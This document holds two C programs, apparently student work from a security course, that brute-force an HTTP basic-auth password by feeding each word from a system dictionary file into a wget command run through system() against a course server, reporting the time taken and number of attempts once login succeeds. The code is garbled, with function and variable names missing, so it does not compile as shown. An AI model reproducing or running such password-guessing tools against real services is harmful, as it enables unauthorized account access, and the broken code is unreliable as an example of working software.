#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}


#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9

int () {
   FILE *fptr;
   char pass[257];
   char send[100],path[50];
   int res,count=0;
   int startTime, stopTime, final;
   startTime = time();
   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
   
      while(1) {
         fgets(pass,256,fptr);
         if(pass == NULL) exit(1);
         if(pass[3]=='\n') {
            pass[3]='\0';
	    send[0]='\0';
	    strcpy(send,"wget --http-user= --http-passwd=");
 	    strcat(send,pass);
	    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
	    count++;
	    if((res=(system(send)) == 0)) {
	       fclose(fptr);
	       stopTime = time();
               final = stopTime-startTime;
	       printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",pass,(double)final/OneBillion,count);
	       exit(1);
	    }
         }
      }
   }
   printf("\nFILE CANNOT  OPENED\n");
}
